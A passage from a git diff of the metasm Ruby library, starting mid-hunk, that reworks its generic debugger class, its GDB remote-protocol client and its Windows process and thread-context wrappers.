continue/singlestep/singlestep{}... - b.hash_shared.dup.map { |bb| - # ignore inactive bps - next if bb.state != :active - - # ignore out-of-range bpms - next if bb.type == :bpm and not check_bpm_range(bb, b.internal) - - # check condition - case bb.condition - when nil; cd = 1 - when Proc; cd = bb.condition.call - when String, Expression; cd = resolve_expr(bb.condition) - else raise "unknown bp condition #{bb.condition.inspect}" - end - next if not cd or cd == 0 - - found_valid_active = true - - # oneshot - del_bp(bb) if bb.oneshot - - # callback - bb.action - }.compact.each { |cb| cb.call } - - # we did break due to a bp whose condition is not true: resume - # (unless a callback already resumed) - resume_badbreak(b) if not found_valid_active and @state == :stopped - end - - # called whenever the target stops due to an exception - # type may be: - # * 'access violation', :fault_addr, :fault_len, :fault_access (:r/:w/:x) - # anything else for other exceptions (access violation is special to handle bpm) - # ... - def evt_exception(info={}) - if info[:type] == 'access violation' and b = find_bp_bpm(info) - info[:fault_len] ||= 1 - b.internal.update info - return evt_bpm(b) - end - - @state = :stopped - @info = "exception #{info[:type]}" - - callback_exception[info] if callback_exception - - pass = pass_all_exceptions - pass = pass[info] if pass.kind_of? Proc - if pass - pass_current_exception - resume_badbreak - end - end - - def evt_newthread(info={}) - @state = :stopped - @info = 'new thread' - - callback_newthread[info] if callback_newthread - - ign = ignore_newthread - ign = ign[info] if ign.kind_of? Proc - if ign - continue - end - end - - def evt_endthread(info={}) - @state = :stopped - @info = 'end thread' - # mark the thread as to be deleted on next check_pre_run - @dead_thread = true - - callback_endthread[info] if callback_endthread - - ign = ignore_endthread - ign = ign[info] if ign.kind_of? Proc - if ign - continue - end - end - - def evt_newprocess(info={}) - @state = :stopped - @info = 'new process' - - callback_newprocess[info] if callback_newprocess - end - - def evt_endprocess(info={}) - @state = :stopped - @info = 'end process' - @dead_process = true - - callback_endprocess[info] if callback_endprocess - end - - def evt_loadlibrary(info={}) - @state = :stopped - @info = 'loadlibrary' - - callback_loadlibrary[info] if callback_loadlibrary - end - - # called when we did break due to a breakpoint whose condition is invalid - # resume execution as if we never stopped - # disable offending bp + singlestep if needed - def resume_badbreak(b=nil) - # ensure we didn't delete b - if b and b.hash_shared.find { |bb| bb.state == :active } - rm = @run_method - if rm == :singlestep - singlestep_bp(b) - else - @run_args = ra - singlestep_bp(b) { send rm, *ra } - end - else - send @run_method, *@run_args - end - end - - # singlesteps over an active breakpoint and run its block - # if the breakpoint provides an emulation stub, run that, otherwise - # disable the breakpoint, singlestep, and re-enable - def singlestep_bp(bp, &b) - if be = bp.hash_shared.find { |bb| bb.emul_instr } - @state = :stopped - be.emul_instr[self] - yield if block_given? - else - bp.hash_shared.each { |bb| - disable_bp(bb, :temp_inactive) if bb.state == :active - } - # this *should* work with different bps stopping the current instr - prev_sscb = @singlestep_cb - singlestep { - bp.hash_shared.each { |bb| - enable_bp(bb) if bb.state == :temp_inactive - } - prev_sscb[] if prev_sscb - yield if block_given? - } - end - end - - - # checks if the running target has stopped (nonblocking) - def check_target - do_check_target - end - - # waits until the running target stops (due to a breakpoint, fault, etc) - def wait_target - do_wait_target while @state == :running - end - - # resume execution of the target - # bypasses a software breakpoint on pc if needed - # thread breakpoints must be manually disabled before calling continue - def continue - if b = @breakpoint_cause and b.hash_shared.find { |bb| bb.state == :active } - singlestep_bp(b) { - next if not check_pre_run(:continue) - do_continue - } - else - return if not check_pre_run(:continue) - do_continue - end - end - alias run continue - - # continue ; wait_target - def continue_wait - continue - wait_target - end - - # resume execution of the target one instruction at a time - def singlestep(&b) - @singlestep_cb = b - bp = @breakpoint_cause - return if not check_pre_run(:singlestep) - if bp and bp.hash_shared.find { |bb| bb.state == :active } and be = bp.hash_shared.find { |bb| bb.emul_instr } - @state = :stopped - be.emul_instr[self] - invalidate - evt_singlestep(true) - else - do_singlestep - end - end - - # singlestep ; wait_target - def singlestep_wait(&b) - singlestep(&b) - wait_target - end - - # tests if the specified instructions should be stepover() using singlestep or - # by putting a breakpoint at next_addr - def need_stepover(di = di_at(pc)) - di and @cpu.dbg_need_stepover(self, di.address, di) - end - - # stepover: singlesteps, but do not enter in subfunctions - def stepover - di = di_at(pc) - if need_stepover(di) - bpx di.next_addr, true, Expression[:tid, :==, @tid] - continue - else - singlestep - end - end - - # stepover ; wait_target - def stepover_wait - stepover - wait_target - end - - # checks if an instruction should stop the stepout() (eg it is a return instruction) - def end_stepout(di = di_at(pc)) - di and @cpu.dbg_end_stepout(self, di.address, di) - end - - # stepover until finding the last instruction of the function - def stepout - # TODO thread-local bps - while not end_stepout - stepover - wait_target - end - do_singlestep - end - - # set a singleshot breakpoint, run the process, and wait - def go(target, cond=nil) - bpx(target, true, cond) - continue_wait - end - - # continue_wait until @state == :dead - def run_forever - continue_wait until @state == :dead - end - - # decode the Instruction at the address, use the @disassembler cache if available - def di_at(addr) - @disassembler.di_at(addr) || @disassembler.disassemble_instruction(addr) - end - - # list the general purpose register names available for the target - def register_list - @cpu.dbg_register_list - end - - # hash { register_name => register_size_in_bits } - def register_size - @cpu.dbg_register_size - end - - # retrieves the name of the register holding the program counter (address of the next instruction) - def register_pc - @cpu.dbg_register_pc - end - - # retrieve the name of the register holding the stack pointer - def register_sp - @cpu.dbg_register_sp - end - - # then name of the register holding the cpu flags - def register_flags - @cpu.dbg_register_flags - end - - # list of flags available in the flag register - def flag_list - @cpu.dbg_flag_list - end - - # retreive the value of the program counter register (eip) - def pc - get_reg_value(register_pc) - end - alias ip pc - - # change the value of pc - def pc=(v) - set_reg_value(register_pc, v) - end - alias ip= pc= - - # retrieve the value of the stack pointer register - def sp - get_reg_value(register_sp) - end - - # update the stack pointer - def sp=(v) - set_reg_value(register_sp, v) - end - - # retrieve the value of a flag (0/1) - def get_flag_value(f) - @cpu.dbg_get_flag(self, f) - end - - # retrieve the value of a flag (true/false) - def get_flag(f) - get_flag_value(f) != 0 - end - - # change the value of a flag - def set_flag_value(f, v) - (v && v != 0) ? set_flag(f) : unset_flag(f) - end - - # switch the value of a flag (true->false, false->true) - def toggle_flag(f) - set_flag_value(f, 1-get_flag_value(f)) - end - - # set the value of the flag to true - def set_flag(f) - @cpu.dbg_set_flag(self, f) - end - - # set the value of the flag to false - def unset_flag(f) - @cpu.dbg_unset_flag(self, f) - end - - # returns the name of the module containing addr or nil - def addr2module(addr) - @modulemap.keys.find { |k| @modulemap[k][0] <= addr and @modulemap[k][1] > addr } - end - - # returns a string describing addr in term of symbol (eg 'libc.so.6!printf+2f') - def addrname(addr) - (addr2module(addr) || '???') + '!' + - if s = @symbols[addr] ? addr : @symbols_len.keys.find { |s_| s_ < addr and s_ + @symbols_len[s_] > addr } - @symbols[s] + (addr == s ? '' : ('+%x' % (addr-s))) - else '%08x' % addr - end - end - - # same as addrname, but scan preceding addresses if no symbol matches - def addrname!(addr) - (addr2module(addr) || '???') + '!' + - if s = @symbols[addr] ? addr : - @symbols_len.keys.find { |s_| s_ < addr and s_ + @symbols_len[s_] > addr } || - @symbols.keys.sort.find_all { |s_| s_ < addr and s_ + 0x10000 > addr }.max - @symbols[s] + (addr == s ? '' : ('+%x' % (addr-s))) - else '%08x' % addr - end - end - - # loads the symbols from a mapped module - def loadsyms(addr, name='%08x'%addr.to_i) - if addr.kind_of? String - modules.each { |m| - if m.path =~ /#{addr}/i - addr = m.addr - name = File.basename m.path - break - end - } - return if not addr.kind_of? Integer - end - return if not peek = @memory.get_page(addr, 4) - if peek == "\x7fELF" - cls = LoadedELF - elsif peek[0, 2] == "MZ" and @memory[addr+@memory[addr+0x3c,4].unpack('V').first, 4] == "PE\0\0" - cls = LoadedPE - else return - end - - begin - e = cls.load @memory[addr, 0x1000_0000] - e.load_address = addr - e.decode_header - e.decode_exports - rescue - # cache the error so that we dont hit it every time - @modulemap[addr.to_s(16)] ||= [addr, addr+0x1000] - return - end - - if n = e.module_name and n != name - name = n - end - - @modulemap[name] ||= [addr, addr+e.module_size] - - cnt = 0 - e.module_symbols.each { |n_, a, l| - cnt += 1 - a += addr - @disassembler.set_label_at(a, n_, false) - @symbols[a] = n_ # XXX store "lib!sym" ? - if l and l > 1; @symbols_len[a] = l - else @symbols_len.delete a # we may overwrite an existing symbol, keep len in sync - end - } - log "loaded #{cnt} symbols from #{name}" - - true - end - - # scan the target memory for loaded libraries, load their symbols - def scansyms(addr=0, max=@memory.length-0x1000-addr) - while addr <= max - loadsyms(addr) - addr += 0x1000 - end - end - - # load symbols from all libraries found by the OS module - def loadallsyms - modules.each { |m| - yield m.addr if block_given? - loadsyms(m.addr, m.path) - } - end - - # see Disassembler#load_map - def load_map(str, off=0) - str = File.read(str) if File.exist?(str) - sks = @disassembler.sections.keys.sort - str.each_line { |l| - case l.strip - when /^([0-9A-F]+)\s+(\w+)\s+(\w+)/i # kernel.map style - a = $1.to_i(16) + off - n = $3 - when /^([0-9A-F]+):([0-9A-F]+)\s+([a-z_]\w+)/i # IDA style - # see Disassembler for comments - a = sks[$1.to_i(16)] + $2.to_i(16) + off - n = $3 - else next - end - @disassembler.set_label_at(a, n, false) - @symbols[a] = n - } - - end - - # parses the expression contained in arg - def parse_expr(arg) - parse_expr!(arg.dup) - end - - # parses the expression contained in arg, updates arg to point after the expr - def parse_expr!(arg) - return if not e = IndExpression.parse_string!(arg) { |s| - # handle 400000 -> 0x400000 - # XXX no way to override and force decimal interpretation.. - if s.length > 4 and not @disassembler.get_section_at(s.to_i) and @disassembler.get_section_at(s.to_i(16)) - s.to_i(16) - else - s.to_i - end - } - - # resolve ambiguous symbol names/hex values - bd = {} - e.externals.grep(::String).each { |ex| - if not v = register_list.find { |r| ex.downcase == r.to_s.downcase } || - (block_given? && yield(ex)) || symbols.index(ex) - lst = symbols.values.find_all { |s| s.downcase.include? ex.downcase } - case lst.length - when 0 - if ex =~ /^[0-9a-f]+$/i and @disassembler.get_section_at(ex.to_i(16)) - v = ex.to_i(16) - else - raise "unknown symbol name #{ex}" - end - when 1 - v = symbols.index(lst.first) - log "using #{lst.first} for #{ex}" - else - suggest = lst[0, 50].join(', ') - suggest = suggest[0, 125] + '...' if suggest.length > 128 - raise "ambiguous symbol name #{ex}: #{suggest} ?" - end - end - bd[ex] = v - } - e = e.bind(bd) - - e - end - - # resolves an expression involving register values and/or memory indirection using the current context - # uses #register_list, #get_reg_value, @mem, @cpu - # :tid/:pid resolve to current thread - def resolve_expr(e) - e = parse_expr(e) if e.kind_of? ::String - bd = { :tid => @tid, :pid => @pid } - Expression[e].externals.each { |ex| - next if bd[ex] - case ex - when ::Symbol; bd[ex] = get_reg_value(ex) - when ::String; bd[ex] = @symbols.index(ex) || 0 - end - } - Expression[e].bind(bd).reduce { |i| - if i.kind_of? Indirection and p = i.pointer.reduce and p.kind_of? ::Integer - i.len ||= @cpu.size/8 - p &= (1 << @cpu.size) - 1 if p < 0 - Expression.decode_imm(@memory, i.len, @cpu, p) - end - } - end - alias resolve resolve_expr - - # return/yield an array of [addr, addr symbolic name] corresponding to the current stack trace - def stacktrace(maxdepth=500, &b) - @cpu.dbg_stacktrace(self, maxdepth, &b) - end - - # accepts a range or begin/end address to read memory, or a register name - def [](arg0, arg1=nil) - if arg1 - arg0 = resolve_expr(arg0) if not arg0.kind_of? ::Integer - arg1 = resolve_expr(arg1) if not arg1.kind_of? ::Integer - @memory[arg0, arg1].to_str - elsif arg0.kind_of? ::Range - arg0.begin = resolve_expr(arg0.begin) if not arg0.begin.kind_of? ::Integer # cannot happen, invalid ruby Range - arg0.end = resolve_expr(arg0.end) if not arg0.end.kind_of? ::Integer - @memory[arg0].to_str - else - get_reg_value(arg0) - end - end - - # accepts a range or begin/end address to write memory, or a register name - def []=(arg0, arg1, val=nil) - arg1, val = val, arg1 if not val - if arg1 - arg0 = resolve_expr(arg0) if not arg0.kind_of? ::Integer - arg1 = resolve_expr(arg1) if not arg1.kind_of? ::Integer - @memory[arg0, arg1] = val - elsif arg0.kind_of? ::Range - arg0.begin = resolve_expr(arg0.begin) if not arg0.begin.kind_of? ::Integer # cannot happen, invalid ruby Range - arg0.end = resolve_expr(arg0.end) if not arg0.end.kind_of? ::Integer - @memory[arg0] = val - else - set_reg_value(arg0, val) - end - end - - - # read an int from the target memory, int of sz bytes (defaults to cpu.size) - def memory_read_int(addr, sz=@cpu.size/8) - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - Expression.decode_imm(@memory, sz, @cpu, addr) - end - - # write an int in the target memory - def memory_write_int(addr, val, sz=@cpu.size/8) - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - val = resolve_expr(val) if not val.kind_of? ::Integer - @memory[addr, sz] = Expression.encode_imm(val, sz, @cpu) - end - - # retrieve an argument (call at a function entrypoint) - def func_arg(nr) - @cpu.dbg_func_arg(self, nr) - end - def func_arg_set(nr, val) - @cpu.dbg_func_arg_set(self, nr, val) - end - - # retrieve a function returned value (call at func exitpoint) - def func_retval - @cpu.dbg_func_retval(self) - end - def func_retval_set(val) - @cpu.dbg_func_retval_set(self, val) - end - def func_retval=(val) - @cpu.dbg_func_retval_set(self, val) - end - - # retrieve a function return address (call at func entry/exit) - def func_retaddr - @cpu.dbg_func_retaddr(self) - end - def func_retaddr_set(addr) - @cpu.dbg_func_retaddr_set(self, addr) - end - def func_retaddr=(addr) - @cpu.dbg_func_retaddr_set(self, addr) - end - - def load_plugin(plugin_filename) - if not File.exist?(plugin_filename) and defined? Metasmdir - # try autocomplete - pf = File.join(Metasmdir, 'samples', 'dbg-plugins', plugin_filename) - if File.exist?(pf) - plugin_filename = pf - elsif File.exist?(pf + '.rb') - plugin_filename = pf + '.rb' - end - end - if not File.exist?(plugin_filename) and File.exist?(plugin_filename + '.rb') - plugin_filename += '.rb' - end - - instance_eval File.read(plugin_filename) - end - - # return the list of memory mappings of the current process - # array of [start, len, perms, infos] - def mappings - [[0, @memory.length]] - end - - # return a list of Process::Modules (with a #path, #addr) for the current process - def modules - [] - end - - # list debugged pids - def list_debug_pids - @pid_stuff.keys | [@pid].compact - end - - # return a list of OS::Process listing all alive processes (incl not debugged) - # default version only includes current debugged pids - def list_processes - list_debug_pids.map { |p| OS::Process.new(p) } - end - - # check if pid is valid - def check_pid(pid) - list_processes.find { |p| p.pid == pid } - end - - # list debugged tids - def list_debug_tids - @tid_stuff.keys | [@tid].compact - end - - # list of thread ids existing in the current process (incl not debugged) - # default version only lists debugged tids - alias list_threads list_debug_tids - - # check if tid is valid for the current process - def check_tid(tid) - list_threads.include?(tid) - end - - # see EData#pattern_scan - # scans only mapped areas of @memory, using os_process.mappings - def pattern_scan(pat, start=0, len=@memory.length-start) - ret = [] - mappings.each { |a, l, *o_| - a = start if a < start - l = start+len-a if a+l > start+len - next if l <= 0 - EncodedData.new(@memory[a, l]).pattern_scan(pat) { |o| - o += a - ret << o if not block_given? or yield(o) - } - } - ret - end -end end diff --git a/lib/metasm/metasm/os/remote.rb b/lib/metasm/metasm/os/remote.rb index dd50faa66f..2d733f6fe5 100644 --- a/lib/metasm/metasm/os/remote.rb +++ b/lib/metasm/metasm/os/remote.rb @@ -5,6 +5,7 @@ require 'metasm/os/main' +require 'metasm/debug' require 'socket' module Metasm @@ -23,9 +24,11 @@ class GdbClient def gdb_send(cmd, buf='') buf = cmd + buf buf = '$' << buf << '#' << gdb_csum(buf) + log "gdb_send #{buf.inspect}" if $DEBUG 5.times { @io.write buf + out = '' loop do break if not IO.select([@io], nil, nil, 0.2) raise Errno::EPIPE if not ack = @io.read(1) @@ -33,12 +36,15 @@ class GdbClient when '+' return true when '-' - puts "gdb_send: ack neg" if $DEBUG + log "gdb_send: ack neg" if $DEBUG break when nil return + else + out << ack end end + log "no ack, got #{out.inspect}" if out != '' } log "send error #{cmd.inspect} (no ack)" @@ -62,8 +68,18 @@ class GdbClient buf = nil while @recv_ctx - return unless IO.select([@io], nil, nil, timeout) - raise Errno::EPIPE if not c = @io.read(1) + if !@recv_ctx[:rbuf] + return unless IO.select([@io], nil, nil, timeout) + if @io.kind_of?(UDPSocket) + raise Errno::EPIPE if not @recv_ctx[:rbuf] = @io.recvfrom(65536)[0] + else + raise Errno::EPIPE if not c = @io.read(1) + end + end + if @recv_ctx[:rbuf] + c = @recv_ctx[:rbuf].slice!(0, 1) + @recv_ctx.delete :rbuf if @recv_ctx[:rbuf] == '' + end case @recv_ctx[:state] when :nosync @@ -107,11 +123,11 @@ class GdbClient end outstr << unhex($1) ret = gdb_readresp(timeout, outstr) - outstr.split("\n").each { |e| log 'gdb: ' + e } if first + outstr.split("\n").each { |o| log 'gdb: ' + o } if first return ret end - puts "gdb_readresp: got #{buf[0, 64].inspect}#{'...' if buf.length > 64}" if $DEBUG + log "gdb_readresp: got #{buf[0, 64].inspect}#{'...' if buf.length > 64}" if $DEBUG buf end @@ -232,9 +248,9 @@ class GdbClient case io when IO; @io = io - when /^udp:(.*):(.*?)$/i; @io = UDPSocket.new ; @io.connect($1, $2) - when /^(?:tcp:)?(.*):(.*?)$/i; @io = TCPSocket.open($1, $2) # XXX matches C:\fail - # TODO pipe, serial port, etc ; also check ipv6 + when /^ser:(.*)/i; @io = File.open($1, 'rb+') + when /^udp:\[?(.*)\]?:(.*?)$/i; @io = UDPSocket.new ; @io.connect($1, $2) + when /^(?:tcp:)?\[?(..+)\]?:(.*?)$/i; @io = TCPSocket.open($1, $2) else raise "unknown target #{io.inspect}" end @@ -242,6 +258,10 @@ class GdbClient end def gdb_setup + pnd = '' + pnd << @io.read(1) while IO.select([@io], nil, nil, 0.2) + log "startpending: #{pnd.inspect}" if pnd != '' + gdb_msg('q', 'Supported') #gdb_msg('Hc', '-1') #gdb_msg('qC') @@ -295,17 +315,22 @@ class GdbClient attr_accessor :logger, :quiet def log(s) + puts s if $DEBUG and logger return if quiet - @logger ||= $stdout - @logger.puts s + logger ? logger.log(s) : puts(s) end + attr_accessor :ptrsz + # setup the various function used to pack ints & the reg list # according to a target CPU def setup_arch(cpu) + @ptrsz = cpu.size + case cpu.shortname - when 'ia32' + when /^ia32/ + @ptrsz = 32 @gdbregs = GDBREGS_IA32 @regmsgsize = 4 * @gdbregs.length when 'x64' @@ -314,6 +339,9 @@ class GdbClient when 'arm' @gdbregs = cpu.dbg_register_list @regmsgsize = 4 * @gdbregs.length + when 'mips' + @gdbregs = cpu.dbg_register_list + @regmsgsize = cpu.size/8 * @gdbregs.length else # we can still use readmem/kill and other generic commands # XXX serverside setregs may fail if we give an incorrect regbuf size @@ -324,7 +352,7 @@ class GdbClient # yay life ! # do as if cpu is littleendian, fixup at the end - case cpu.size + case @ptrsz when 16 @pack_netint = lambda { |i| i.pack('n*') } @unpack_netint = lambda { |s| s.unpack('n*') } @@ -345,7 +373,7 @@ class GdbClient @pack_netint, @pack_int = @pack_int, @pack_netint @unpack_netint, @unpack_int = @unpack_int, @unpack_netint end - else raise "GdbServer: unsupported cpu size #{cpu.size}" + else raise "GdbServer: unsupported cpu size #{@ptrsz}" end # if target cpu is bigendian, use netint everywhere @@ -362,7 +390,7 @@ class GdbRemoteString < VirtualString def initialize(gdb, addr_start=0, length=nil) @gdb = gdb - length ||= 1 << (@gdb.cpu.size rescue 32) + length ||= 1 << (@gdb.ptrsz || 32) @pagelength = 512 super(addr_start, length) end @@ -389,17 +417,55 @@ end # this class implements a high-level API using the gdb-server network debugging protocol class GdbRemoteDebugger < Debugger - attr_accessor :gdb, :check_target_timeout + attr_accessor :gdb, :check_target_timeout, :reg_val_cache def initialize(url, cpu='Ia32') + super() + @tid_stuff_list << :reg_val_cache << :regs_dirty @gdb = GdbClient.new(url, cpu) @gdb.logger = self - @cpu = @gdb.cpu - @memory = GdbRemoteString.new(@gdb) - @reg_val_cache = {} - @regs_dirty = false # when checking target, if no message seen since this much seconds, send a 'status' query @check_target_timeout = 1 + set_context(28, 28) + end + + def check_pid(pid) + # return nil if pid == nil + pid + end + def check_tid(tid) + tid + end + + def list_processes + [@pid].compact + end + def list_threads + [@tid].compact + end + + def mappings + [] + end + + def modules + [] + end + + + def initialize_newtid super() + @reg_val_cache = {} + @regs_dirty = false + end + + attr_accessor :realmode + def initialize_cpu + @cpu = @gdb.cpu + @realmode = true if @cpu and @cpu.shortname =~ /^ia32_16/ + end + + def initialize_memory + @memory = GdbRemoteString.new(@gdb) end def invalidate @@ -409,12 +475,24 @@ class GdbRemoteDebugger < Debugger end def get_reg_value(r) + r = r.to_sym return @reg_val_cache[r] || 0 if @state != :stopped sync_regs @reg_val_cache = @gdb.read_regs || {} if @reg_val_cache.empty? + if realmode + case r + when :eip; seg = :cs + when :esp; seg = :ss + else seg = :ds + end + # XXX seg override + return @reg_val_cache[seg].to_i*16 + @reg_val_cache[r].to_i + end @reg_val_cache[r] || 0 end def set_reg_value(r, v) + r = r.to_sym + # XXX realmode @reg_val_cache[r] = v @regs_dirty = true end @@ -426,37 +504,49 @@ class GdbRemoteDebugger < Debugger def do_check_target return if @state == :dead + + # keep-alive on the connexion t = Time.now @last_check_target ||= t if @state == :running and t - @last_check_target > @check_target_timeout @gdb.io.write '$?#' << @gdb.gdb_csum('?') @last_check_target = t end + return unless i = @gdb.check_target(0.01) - invalidate if i[:state] == :stopped and @state != :stopped - @state, @info = i[:state], i[:info] - @info = nil if @info =~ /TRAP/ + update_state(i) + true end def do_wait_target return unless i = @gdb.check_target(nil) - invalidate if i[:state] == :stopped and @state != :stopped - @state, @info = i[:state], i[:info] - @info = nil if @info =~ /TRAP/ + update_state(i) + end + + def update_state(i) + @info = (i[:info] if i[:info] !~ /TRAP/) + if i[:state] == :stopped and @state != :stopped + invalidate + @state = i[:state] + case @run_method + when :singlestep + evt_singlestep + else + evt_bpx # XXX evt_hwbp? + end + else + @state = i[:state] + end end def do_continue(*a) - return if @state != :stopped @state = :running - @info = 'continue' @gdb.continue @last_check_target = Time.now end def do_singlestep(*a) - return if @state != :stopped @state = :running - @info = 'singlestep' @gdb.singlestep @last_check_target = Time.now end @@ -467,53 +557,52 @@ class GdbRemoteDebugger < Debugger def kill(sig=nil) # TODO signal nr - @gdb.kill @state = :dead - @info = 'killed' + @gdb.kill end def detach - super() # remove breakpoints & stuff - @gdb.detach - @state = :dead - @info = 'detached' + del_all_breakpoints + del_pid end - - # set to true to use the gdb msg to handle bpx, false to set 0xcc ourself + + # set to true to use the gdb msg to handle bpx, false to set 0xcc manually ourself attr_accessor :gdb_bpx - def enable_bp(addr) - return if not b = @breakpoint[addr] - b.state = :active + def do_enable_bp(b) case b.type + when :bpm + do_enable_bpm(b) when :bpx if gdb_bpx - @gdb.set_hwbp('s', addr, 1) + @gdb.set_hwbp('s', b.address, 1) else - @cpu.dbg_enable_bp(self, addr, b) + @cpu.dbg_enable_bp(self, b) end - when :hw - @gdb.set_hwbp(b.mtype, addr, b.mlen) + when :hwbp + @gdb.set_hwbp(b.internal[:type], b.address, b.internal[:len]) end end - def disable_bp(addr) - return if not b = @breakpoint[addr] - b.state = :inactive + def do_disable_bp(b) case b.type + when :bpm + do_disable_bpm(b) when :bpx if gdb_bpx - @gdb.unset_hwbp('s', addr, 1) + @gdb.unset_hwbp('s', b.address, 1) else - @cpu.dbg_disable_bp(self, addr, b) + @cpu.dbg_disable_bp(self, b) end - when :hw - @gdb.unset_hwbp(b.mtype, addr, b.mlen) + when :hwbp + @gdb.unset_hwbp(b.internal[:type], b.address, b.internal[:len]) end end def check_pre_run(*a) - sync_regs - super(*a) + if ret = super(*a) + sync_regs + ret + end end def loadallsyms diff --git a/lib/metasm/metasm/os/windows.rb b/lib/metasm/metasm/os/windows.rb index 74d20f717b..f8322f85ed 100644 --- a/lib/metasm/metasm/os/windows.rb +++ b/lib/metasm/metasm/os/windows.rb @@ -4,6 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory require 'metasm/os/main' +require 'metasm/debug' require 'metasm/dynldr' module Metasm @@ -125,6 +126,12 @@ typedef void *HMODULE; #define DBG_CONTROL_C ((DWORD )0x40010005L) #define DBG_CONTROL_BREAK ((DWORD )0x40010008L) #define DBG_COMMAND_EXCEPTION ((DWORD )0x40010009L) +#define STATUS_WX86_CONTINUE ((DWORD )0x4000001DL) +#define STATUS_WX86_SINGLE_STEP ((DWORD )0x4000001EL) +#define STATUS_WX86_BREAKPOINT ((DWORD )0x4000001FL) +#define STATUS_WX86_EXCEPTION_CONTINUE ((DWORD )0x40000020L) +#define STATUS_WX86_EXCEPTION_LASTCHANCE ((DWORD )0x40000021L) +#define STATUS_WX86_EXCEPTION_CHAIN ((DWORD )0x40000022L) #define STATUS_GUARD_PAGE_VIOLATION ((DWORD )0x80000001L) #define STATUS_DATATYPE_MISALIGNMENT ((DWORD )0x80000002L) #define STATUS_BREAKPOINT ((DWORD )0x80000003L) @@ -416,7 +423,7 @@ typedef struct _CONTEXT_AMD64 { XMMREG Vector[26]; DWORD64 VectorControl; - + DWORD64 DebugControl; DWORD64 LastBranchToRip; DWORD64 LastBranchFromRip; @@ -490,6 +497,10 @@ typedef struct _PROCESS_INFORMATION { } PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION; +WINAPI +DWORD +GetVersion(VOID); + WINBASEAPI HANDLE WINAPI @@ -1033,7 +1044,7 @@ OpenThreadToken ( __out HANDLE *TokenHandle); EOS SE_DEBUG_NAME = 'SeDebugPrivilege' - + new_api_c < 0 @@ -1273,7 +1285,7 @@ class WinOS < OS WinAPI::PAGE_EXECUTE_READWRITE => 'rwx', WinAPI::PAGE_EXECUTE_WRITECOPY => 'rwx' }[info[:protect] & 0xff] - prot << 'g' if info[:protect] & WinAPI::PAGE_GUARD > 0 + prot = prot.sub('r', '-') + 'g' if info[:protect] & WinAPI::PAGE_GUARD > 0 prot << 'p' if info[:type] & WinAPI::MEM_PRIVATE > 0 if h = hcache[info.baseaddress] @@ -1301,7 +1313,7 @@ class WinOS < OS @peb_base ||= if WinAPI.respond_to?(:ntqueryinformationprocess) pinfo = WinAPI.alloc_c_struct('PROCESS_BASIC_INFORMATION') - if WinAPI.ntqueryinformationprocess(handle, WinAPI::PROCESSBASICINFORMATION, pinfo, pinfo.length, 0) == 0 + if WinAPI.ntqueryinformationprocess(handle, WinAPI::PROCESSBASICINFORMATION, pinfo, pinfo.sizeof, 0) == 0 pinfo.pebbaseaddress end else @@ -1336,7 +1348,7 @@ class WinOS < OS @teb_base ||= if WinAPI.respond_to?(:ntqueryinformationthread) tinfo = WinAPI.alloc_c_struct('THREAD_BASIC_INFORMATION') - if WinAPI.ntqueryinformationthread(handle, WinAPI::THREADBASICINFORMATION, tinfo, tinfo.length, 0) == 0 + if WinAPI.ntqueryinformationthread(handle, WinAPI::THREADBASICINFORMATION, tinfo, tinfo.sizeof, 0) == 0 tinfo.tebbaseaddress end else @@ -1373,10 +1385,12 @@ class WinOS < OS @context ||= Context.new(self, :all) if block_given? suspend - @context.update - ret = yield @context - resume - ret + begin + @context.update + yield @context + ensure + resume + end else @context end @@ -1386,28 +1400,34 @@ class WinOS < OS class Context def initialize(thread, kind=:all) @handle = thread.handle - tg = thread.process ? thread.process.addrsz : 32 - case WinAPI.host_cpu.shortname - when 'ia32', 'x64'; tg = ((tg == 32) ? 'ia32' : 'x64') + tg = (thread.process ? thread.process.addrsz : 32) + hcpu = WinAPI.host_cpu.shortname + case hcpu + when 'ia32', 'x64' else raise "unsupported architecture #{tg}" end @getcontext = :getthreadcontext @setcontext = :setthreadcontext case tg - when 'ia32' + when 32 @context = WinAPI.alloc_c_struct('_CONTEXT_I386') @context.contextflags = WinAPI::CONTEXT_I386_ALL - if WinAPI.host_cpu.shortname == 'x64' + if hcpu == 'x64' @getcontext = :wow64getthreadcontext @setcontext = :wow64setthreadcontext end - when 'x64' + when 64 @context = WinAPI.alloc_c_struct('_CONTEXT_AMD64') @context.contextflags = WinAPI::CONTEXT_AMD64_ALL end end + # retrieve the actual context structure (so we can pass to API's like StackWalk64) + def c_struct + @context + end + # update the context to reflect the current thread reg values # call only when the thread is suspended def update @@ -1418,15 +1438,17 @@ class WinOS < OS case k.to_s when /^[cdefgs]s$/i @context["seg#{k}"] - when /^st(\d*)/i + when /^st(\d?)$/i v = @context['st'][$1.to_i] - buf = v.str[v.str_off, 10] + buf = v.str[v.stroff, 10] # TODO check this, 'D' is 8byte wide buf.unpack('D')[0] - when /^xmm(\d+)/i + # TODO when /^ymm(\d+)$/i + when /^xmm(\d+)$/i v = @context['xmm'][$1.to_i] (v.hi << 64) | v.lo - when /^mmx?(\d+)/i + when /^mmx?(\d)$/i + # XXX probably in st(0/7) @context['xmm'][$1.to_i].lo else @context[k] @@ -1437,15 +1459,17 @@ class WinOS < OS case k.to_s when /^[cdefgs]s$/i @context["seg#{k}"] = v - when /^st(\d*)/i + when /^st(\d?)$/i # TODO check this, 'D' is 8byte wide buf = [v, 0, 0].pack('DCC') @context['st'][$1.to_i][0, 10] = buf - when /^xmm(\d+)/i + # TODO when /^ymm(\d+)$/i + when /^xmm(\d+)$/i kk = @context['xmm'][$1.to_i] kk.lo = v & ((1<<64)-1) kk.hi = (v>>64) & ((1<<64)-1) - when /^mmx?(\d+)/i + when /^mmx?(\d)$/i + # XXX st(7-$1) ? @context['xmm'][$1.to_i].lo = v else @context[k] = v @@ -1455,10 +1479,10 @@ class WinOS < OS def method_missing(m, *a) if m.to_s[-1] == ?= - super(m, *a) if a.length != 1 + return super(m, *a) if a.length != 1 send '[]=', m.to_s[0...-1], a[0] else - super(m, *a) if a.length != 0 + return super(m, *a) if a.length != 0 send '[]', m end end @@ -1528,7 +1552,7 @@ class << self loop do list << te.th32threadid if not pid or te.th32ownerprocessid == pid break if WinAPI.thread32next(h, te) == 0 - end + end WinAPI.closehandle(h) list end @@ -1649,6 +1673,11 @@ class << self end end + # returns the [major, minor] version of the windows os + def version + v = WinAPI.getversion + [v & 0xff, (v>>8) & 0xff] + end end # class << self end @@ -1699,6 